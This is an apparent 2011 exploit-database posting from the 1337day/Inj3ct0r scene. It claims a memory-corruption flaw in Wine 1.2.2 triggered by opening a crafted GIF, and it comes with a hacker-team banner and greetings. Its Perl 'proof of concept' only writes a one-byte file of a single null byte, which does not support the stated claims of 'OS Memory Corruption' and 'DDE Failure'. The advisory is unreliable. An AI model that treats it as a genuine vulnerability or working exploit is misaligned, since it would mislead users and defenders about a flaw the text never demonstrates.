|
================================================ Wine ( Core exe ) GIF Object Memory Corruption ================================================
#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 #0 _ __ __ __ 1 #1 /' \ __ /'__`\ /\ \__ /'__`\ 0 #0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 #1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 #0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 #1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 #0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 #1 \ \____/ >> Exploit database separated by exploit 0 #0 \/___/ type (local, remote, DoS, etc.) 1 #1 1 #0 [+] Site : 1337day.com 0 #1 [+] Support e-mail : submit[at]1337day.com 1 #0 0 #1 #################################### 1 #0 I'm SeeMe member from Inj3ct0r Team 1 #1 #################################### 0 #0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[-] Wine ( Core exe ) GIF Object Memory Corruption [-] Version : 1.2.2 [-] Vender : winehq.org [-] Date 09/Aug/2011 [-] Open with Wine Internet Explorer.. BOOM! [-] Which causes DDE Failure & OS Memory Corruption [-] An error probably will pop up (0x99100 -> 0x95c00) [-] Tested on : Some linux distributions [-] No fixes available [-] Vulnerability discovered by SeeMe <jimsalimg@msn.com> [-] special thanks to : r0073r (1337day.com), L0rd CruSad3r, Th3 RDX, KnocKout [-] Sid3^effects, Gunslinger_, The Explo!ted, Eidelweiss, Exploit-id team, anT!-Tr0J4n [-] ZoRLu, Indoushka, Dev-PoinT.com Team..
================== Proof of Concept ==================
#!/usr/bin/perl
my $exp="\x00" x 1; open (FILE,">> Wine.gif"); print FILE $exp; close (FILE);
# _END_
|
|
|